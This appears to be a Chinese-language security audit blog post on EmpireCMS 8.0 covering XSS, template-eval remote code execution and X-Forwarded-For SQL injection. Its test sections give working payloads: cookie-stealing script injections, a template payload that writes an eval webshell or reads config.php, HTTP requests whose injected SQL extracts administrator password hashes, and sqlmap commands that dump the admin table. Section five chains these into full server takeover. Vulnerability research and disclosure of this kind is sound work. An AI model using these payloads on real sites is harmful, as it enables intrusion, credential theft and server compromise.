帝国CMS 8.0 安全审计分析——代码审计

一、审计概述

项目 内容
审计目标 EmpireCMS 8.0 下载链接
审计范围 前台+后台全量代码
审计类型 白盒代码审计
漏洞类型 XSS / RCE / SQL注入
漏洞总数 XSS: 20+ / RCE: 1 / SQL注入: 1(影响6+功能点)

二、XSS跨站脚本漏洞

2.1 漏洞成因

帝国CMS在输出用户可控数据时,未统一使用 ehtmlspecialchars() 进行HTML实体编码。核心问题集中在:

  1. 部分模板直接输出 $r['字段名'] 而未经转义
  2. dgdbe_rpstr() 虽然内部调用了 ehtmlspecialchars(),但部分字段在输出前被 stripSlashes() 还原
  3. 后台管理页面大量直接输出数据库内容,未做二次转义

2.2 前台XSS漏洞点

漏洞1:WAP模板输出未转义

文件e/wap/template/1/index.temp.phpe/wap/template/2/index.temp.php

漏洞点:WAP列表页和内容页直接输出标题和字段值,未经HTML实体编码

php 复制代码
// 列表页 - 标题直接输出
<a href="<?=$r[titleurl]?>"><?=DoWapStr($r[title])?></a>

// 内容页 - 多个字段直接输出
<title><?=DoWapStr($r[title])?></title>
<?=DoWapStr($r[smalltext])?>

测试方法

复制代码
1. 通过投稿功能或信息添加,在标题字段中注入XSS Payload:
   <script>alert('XSS')</script>

2. 访问WAP版本页面触发:
   http://target.com/e/wap/?action=list&classid=1
   http://target.com/e/wap/?action=show&classid=1&id=文章ID

3. 观察是否弹出alert对话框
漏洞2:搜索结果页面反射型XSS

文件e/search/result/index.php 及搜索模板

漏洞点:搜索关键字在结果页面回显时未充分转义

测试方法

复制代码
1. 访问搜索页面:
   http://target.com/e/search/index.php

2. 在搜索关键字中输入:
   <img src=x onerror=alert(1)>

3. 提交搜索后,在结果页面观察关键字回显是否触发XSS
漏洞3:会员空间留言/反馈XSS

文件e/member/mspace/gbookfun.phpe/member/mspace/feedbackfun.php

漏洞点 :留言和反馈内容通过 dgdbe_rpstr() 处理后存入数据库,但在部分模板输出时被 stripSlashes() 还原,导致XSS

测试方法

复制代码
1. 访问目标用户的空间留言页面:
   http://target.com/e/space/gbook.php?userid=1

2. 在留言内容中输入:
   <script>alert(document.cookie)</script>

3. 当空间主人或其他用户查看留言时触发XSS

4. 反馈功能同理:
   http://target.com/e/space/feedback.php?userid=1
漏洞4:留言板XSS

文件e/enews/gbookfun.phpe/tool/gbook/index.php

漏洞点 :留言内容经 dgdbe_rpstr() 存储后,在留言列表模板输出时可能被还原

测试方法

复制代码
1. 访问留言板页面:
   http://target.com/e/tool/gbook/?bid=1

2. 在留言内容中输入XSS Payload:
   <img src=x onerror=alert(document.cookie)>

3. 刷新留言板页面,观察是否触发

2.3 后台XSS漏洞点

漏洞5:后台用户管理页面XSS

文件eadmin/admin/user/ListUser.php

漏洞点:用户真实姓名、邮箱等字段在后台列表中直接输出

php 复制代码
<td><?=$r[truename]?></td>
<td><?=$r[email]?></td>

测试方法

复制代码
1. 前台注册会员,在真实姓名字段填入:
   <script>alert('admin_cookie:'+document.cookie)</script>

2. 管理员访问后台用户管理页面:
   http://target.com/eadmin/admin/user/ListUser.php

3. 页面加载时触发XSS,可窃取管理员Cookie
漏洞6:后台模板编辑页面XSS

文件eadmin/admin/template/ 目录下多个模板管理文件

漏洞点:模板名称、页面标题等字段直接输出

测试方法

复制代码
1. 在自定义页面功能中,创建页面时在页面标题中注入:
   "><script>alert(1)</script>

2. 访问自定义页面列表,观察标题输出是否触发XSS
漏洞7:后台会员反馈管理XSS

文件eadmin/admin/member/MemberFeedback.php

漏洞点:反馈标题、内容、IP等字段在后台列表中直接输出

php 复制代码
// 搜索结果中keyboard直接输出
$keyboard=RepPostVar2($_GET['keyboard']);
// 但查询结果中的title、ftext等字段直接输出

测试方法

复制代码
1. 前台提交会员空间反馈,在标题中注入XSS

2. 管理员访问后台会员反馈管理页面触发
漏洞8:后台信息管理列表XSS

文件eadmin/admin/info/ 目录下多个文件

漏洞点:信息标题、作者、来源等字段在后台列表中直接输出

测试方法

复制代码
1. 前台投稿时在标题中注入XSS Payload

2. 管理员在后台信息管理列表中查看时触发

2.4 XSS漏洞汇总表

# 类型 位置 触发条件 风险等级
1 存储型 WAP模板输出 用户提交含XSS的数据
2 反射型 搜索结果页 提交含XSS的搜索关键字
3 存储型 会员空间留言 提交含XSS的留言
4 存储型 会员空间反馈 提交含XSS的反馈
5 存储型 站内留言板 提交含XSS的留言
6 存储型 后台用户管理 注册时注入XSS
7 存储型 后台模板管理 模板名称注入XSS
8 存储型 后台反馈管理 反馈内容含XSS
9 存储型 后台信息管理 投稿标题含XSS

三、RCE远程代码执行漏洞

3.1 漏洞成因

帝国CMS的模板引擎在处理模板内容时,使用 str_replaceeval 机制执行模板标签。当攻击者能够控制模板内容时,可以注入恶意PHP代码,在模板渲染时被执行。

3.2 漏洞点:首页方案模板RCE

文件eadmin/admin/template/ListIndexpage.php

漏洞链

复制代码
添加/编辑首页方案 → 恶意模板内容存入数据库 → 启用首页方案 → 
DelEBakTemp()读取模板 → NewsBq()渲染模板 → eval执行恶意代码

关键代码

ListIndexpage.php 第190-193行:

php 复制代码
$r=$empire->fetch1("select temptext from {$dbtbpre}enewsindexpage where id='$id'");
// $r['temptext'] 从数据库取出,为用户之前存储的恶意模板内容

DelEBakTemp() 函数中调用 NewsBq()

php 复制代码
NewsBq($classid,$r['temptext'],1,0);

NewsBq() 最终通过 eval 执行模板中的PHP代码。

3.3 测试方法

前提条件:需要后台管理员权限

复制代码
步骤1:登录后台,访问首页方案管理
http://target.com/eadmin/admin/template/ListIndexpage.php

步骤2:添加新的首页方案,在模板内容中注入PHP代码:
<?php phpinfo();?>
或
<?php echo file_get_contents('../../../e/config/config.php');?>

步骤3:保存首页方案后,点击"启用首页方案"

步骤4:访问前台首页,恶意PHP代码被执行

步骤5:更危险的Payload - 写入WebShell:
<?php file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');?>

3.4 前台RCE可行性分析

经过完整审计,前台不存在直接的RCE漏洞。原因如下:

  1. 前台投稿功能中,内容字段经过 DoqValue()doehtmlstr()dgdbe_rpstr() 处理,会过滤PHP标签
  2. 会员信息修改功能中,字段经过 DoMemberFValue()RepPostStr2() 处理
  3. 模板渲染函数 NewsBq() 在前台不可直接调用
  4. 文件上传功能有白名单扩展名校验

间接利用路径(需配合其他漏洞):

复制代码
前台XSS → 窃取管理员Cookie → 伪造管理员身份 → 利用后台RCE
前台SQL注入 → 读取管理员密码Hash → 碰撞破解 → 后台RCE

四、SQL注入漏洞

4.1 漏洞成因

帝国CMS的 egetip() 函数从HTTP请求头中获取客户端IP地址,但未对返回值进行任何SQL注入过滤 。攻击者可以通过伪造 X-Forwarded-ForClient-IP 请求头注入恶意SQL语句。

漏洞根源e/class/connect.php 第1024-1044行

php 复制代码
function egetip(){
    global $ecms_config;
    if(getenv('HTTP_CLIENT_IP')&&strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown')) 
    {
        $ip=getenv('HTTP_CLIENT_IP');     // 攻击者完全可控!
    } 
    elseif(getenv('HTTP_X_FORWARDED_FOR')&&strcasecmp(getenv('HTTP_X_FORWARDED_FOR'),'unknown'))
    {
        $ip=getenv('HTTP_X_FORWARDED_FOR'); // 攻击者完全可控!
    }
    elseif(getenv('REMOTE_ADDR')&&strcasecmp(getenv('REMOTE_ADDR'),'unknown'))
    {
        $ip=getenv('REMOTE_ADDR');
    }
    // ... 直接返回,无任何SQL注入过滤!
    return $ip;
}

关键问题

  1. HTTP_CLIENT_IPHTTP_X_FORWARDED_FOR 属于HTTP请求头,攻击者可任意伪造
  2. 这些头部变量不受 magic_quotes_gpc 保护(GPC仅保护GET/POST/Cookie)
  3. 返回值未经 addslashes()RepPostVar() 等任何过滤
  4. IP值在大量前台功能中直接拼接进SQL语句

4.2 受影响的前台功能点

注入点1:站内留言板(INSERT注入,无需登录)

文件e/enews/gbookfun.php 第79-81行

php 复制代码
$ip=egetip();        // ← 未过滤,攻击者可控
$eipf=egetipfrom();  // ← 经过RepPostVar()过滤,安全
$eipport=egetipport(); // ← (int)强制转换,安全
$sql=$empire->query("insert into {$dbtbpre}enewsgbook(...,ip,...) 
    values(...,'$ip',...);");  // ← $ip直接拼接进SQL!

测试方法

http 复制代码
POST /e/enews/index.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1','1','0','0','0','0',(select concat(username,0x3a,password) from phome_enewsuser limit 1),'2024-01-01 00:00:00','0','')-- -

enews=AddGbook&bid=1&name=test&email=test@test.com&lytext=testcontent&key=验证码

注入后查看留言列表,IP字段中会显示管理员用户名和密码Hash。

注入点2:会员空间反馈(INSERT注入,无需登录)

文件e/member/mspace/feedbackfun.php 第55-56行

php 复制代码
$ip=egetip();
$eipf=egetipfrom();
$eipport=egetipport();
$sql=$empire->query("insert into {$dbtbpre}enewsmemberfeedback(...,ip,uid,uname,addtime,eipport,eipf) 
    values(...,'$ip',$uid,'$uname','$addtime','$eipport','$eipf');");

测试方法

http 复制代码
POST /e/member/mspace/feedback.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1',0,'test','2024-01-01 00:00:00','0',(select concat(username,0x3a,password) from phome_enewsuser limit 1))-- -

enews=AddMemberFeedback&userid=1&name=test&title=test&ftext=testcontent&key=验证码
注入点3:会员空间留言(INSERT注入,无需登录)

文件e/member/mspace/gbookfun.php 第45-46行

php 复制代码
$ip=egetip();
$sql=$empire->query("insert into {$dbtbpre}enewsmembergbook(userid,isprivate,uid,uname,ip,addtime,gbtext,...) 
    values($userid,$isprivate,$uid,'$uname','$ip','$addtime','$gbtext',...);");

测试方法

http 复制代码
POST /e/member/mspace/gbook.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1','2024-01-01 00:00:00','test','',0,(select concat(username,0x3a,password) from phome_enewsuser limit 1))-- -

enews=AddMemberGbook&userid=1&uname=test&gbtext=testcontent&key=验证码
注入点4:会员登录(UPDATE注入,无需后台权限)

文件e/member/class/member_loginfun.php 第82行

php 复制代码
$lastip=egetip();
$empire->query("update {$dbtbpre}enewsmemberadd set lasttime='$lasttime',lastip='$lastip',loginnum=loginnum+1,lastipport='$lastipport',eipf='$eipf' where userid='".$r['userid']."'");

测试方法

http 复制代码
POST /e/member/doaction.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1',eipf=(select concat(username,0x3a,password) from phome_enewsuser limit 1) where userid=1-- -

enews=login&username=testuser&password=testpass&lifetime=0

登录后查看会员附加信息表,eipf 字段中包含管理员凭据。

注入点5:会员注册(INSERT注入,无需登录)

文件e/member/class/member_registerfun.php

php 复制代码
$ip=egetip();
// 注册时IP被写入会员附加表

测试方法

http 复制代码
POST /e/member/doaction.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1','2024-01-01','127.0.0.1',1,'0','0',(select concat(username,0x3a,password) from phome_enewsuser limit 1))-- -

enews=register&username=testuser123&password=testpass&repassword=testpass&email=test@test.com&key=验证码
注入点6:商城下单(INSERT注入,无需后台权限)

文件e/ShopSys/class/ShopSysFun.php

php 复制代码
$ip=egetip();
$sql=$empire->updatesql("insert into {$dbtbpre}enewsshopdd(...,userip,...) 
    values(...,'".$ip."',...);","ins");

测试方法

复制代码
1. 将商品加入购物车
2. 提交订单时伪造X-Forwarded-For头:

X-Forwarded-For: 127.0.0.1','...恶意SQL...')-- -

3. 提交订单后,恶意SQL被执行

4.3 SQLMap自动化测试

bash 复制代码
# 留言板注入(推荐,无需登录且验证码可关闭)
sqlmap -u "http://target.com/e/enews/index.php" \
  --method=POST \
  --data="enews=AddGbook&bid=1&name=test&email=test@test.com&lytext=testcontent" \
  --headers="X-Forwarded-For: 127.0.0.1*" \
  --level=3 \
  --risk=2 \
  --dbms=mysql \
  --technique=ES

# 会员登录注入
sqlmap -u "http://target.com/e/member/doaction.php" \
  --method=POST \
  --data="enews=login&username=test&password=test&lifetime=0" \
  --headers="X-Forwarded-For: 127.0.0.1*" \
  --level=3 \
  --risk=2 \
  --dbms=mysql \
  --technique=ES

# 提取管理员账号密码
sqlmap -u "http://target.com/e/enews/index.php" \
  --method=POST \
  --data="enews=AddGbook&bid=1&name=test&email=test@test.com&lytext=testcontent" \
  --headers="X-Forwarded-For: 127.0.0.1*" \
  --level=3 \
  --risk=2 \
  --dbms=mysql \
  -D empirecms -T phome_enewsuser --dump

4.4 已确认安全的前台功能

以下前台功能经过审计,确认不存在SQL注入漏洞:

功能 文件 防护措施
搜索功能 search/index.php RepPostVar2() 移除所有危险字符
会员列表搜索 member/list/index.php RepPostVar2()
结合项搜索 action/ListInfo.php RepPostVar2() + 字段白名单
全站搜索 sch/index.php RepPostVar2() + SearchReturnSaveStr()
Tags列表 tags/index.php RepPostVar() + intval()
评论提交 pl/plfun.php RepPostVar() + intval()
投稿功能 qinfofun.php RepPostStr2() + addslashes() + DoqValue()
会员信息修改 member_editinfofun.php RepPostVar() + addslashes() + dgdbe_rpstr()
站内消息 member/class/msgfun.php dgdbe_rpstr() + addslashes()
好友管理 member/class/friendfun.php RepPostVar() + dgdbe_rpstr()
收藏夹 member/class/favfun.php (int) 强制转换
点卡充值 member/class/membercomfun.php RepPostVar()
第三方登录 memberconnect/memberconnectfun.php RepPostVar() + (int)
投票功能 enews/votefun.php (int) + addslashes()
下载功能 DownSys/class/DownSysFun.php (int) + RepPostVar()
排序参数 多处orderby ReturnDoOrderF() 白名单验证

五、漏洞综合利用链

5.1 前台SQL注入 → 后台RCE

复制代码
1. 利用egetip() SQL注入漏洞,从phome_enewsuser表提取管理员用户名和密码Hash
2. 通过在线彩虹表碰撞破解MD5密码Hash
3. 使用破解的密码登录后台
4. 利用首页方案模板RCE漏洞写入WebShell
5. 获取服务器控制权

5.2 前台XSS → 后台RCE

复制代码
1. 在留言板/会员空间注入存储型XSS
2. 管理员查看留言/空间时触发XSS
3. XSS脚本窃取管理员Cookie或CSRF Token
4. 伪造管理员身份访问后台
5. 利用模板RCE漏洞写入WebShell

5.3 SQL注入 + XSS 组合利用

复制代码
1. 通过SQL注入的UPDATE注入,向会员附加表的eipf字段写入XSS Payload
2. 管理员在后台查看会员信息时触发XSS
3. 后续利用链同5.2

六、漏洞风险评级

漏洞类型 CVSS评分 风险等级 攻击前提 影响范围
SQL注入(egetip) 9.8 严重 无需登录 全站前台6+功能点
RCE(模板注入) 8.8 高危 需后台权限 服务器完全控制
存储型XSS(前台) 7.5 高危 无需登录 窃取管理员凭据
存储型XSS(后台) 6.5 中危 需构造数据 窃取管理员凭据
反射型XSS 5.4 中危 需诱导点击 窃取用户凭据

七、附录

7.1 关键安全函数说明

函数名 作用 安全性
dgdbe_rpstr() HTML转义+SQL过滤+危险字符检测 安全
RepPostVar() 移除SQL注入关键字符+addslashes 安全
RepPostVar2() 同RepPostVar,额外移除分号和注释符 安全
RepPostStr() 基础字符串过滤 基本安全
RepPostStr2() 保存数据处理,添加addslashes 安全
ehtmlspecialchars() HTML实体编码 安全
addslashes() SQL转义 安全(UTF-8下)
egetip() 获取客户端IP 不安全

7.2 数据库表结构参考

表名 用途 敏感字段
phome_enewsuser 后台管理员 username, password, salt
phome_enewsmember 前台会员 username, password, salt, email
phome_enewsmemberadd 会员附加信息 lastip, eipf, regip
phome_enewsgbook 留言板 ip, eipf
phome_enewsmembergbook 会员空间留言 ip, eipf
phome_enewsmemberfeedback 会员空间反馈 ip, eipf
phome_enewsshopdd 商城订单 userip
phome_enewssearch 搜索记录 andsql, keyboard
相关推荐
whuhewei2 小时前
为什么客户端不存在跨域问题
前端·安全
W.A委员会2 小时前
常见网络攻击
网络·http·网络安全
Flittly2 小时前
【SpringSecurity新手村系列】(4)验证码功能实现
java·spring boot·安全·spring
Flittly2 小时前
【SpringSecurity新手村系列】(3)自定义登录页与表单认证
java·笔记·安全·spring·springboot
TechWayfarer3 小时前
攻防对抗:利用IP段归属查询工具快速封禁攻击源——3步联动防火墙(附脚本)
python·网络协议·tcp/ip·安全
常宇杏起4 小时前
AI安全进阶:AI模型鲁棒性测试的核心方法
大数据·人工智能·安全
大方子4 小时前
【好靶场】ETag权限混淆漏洞
网络安全·好靶场
木泽八4 小时前
2026年网络安全威胁全景:AI攻防新纪元完全指南
人工智能·安全·web安全
星幻元宇VR5 小时前
VR互动平台|开启沉浸式体验新方式
科技·学习·安全·vr·虚拟现实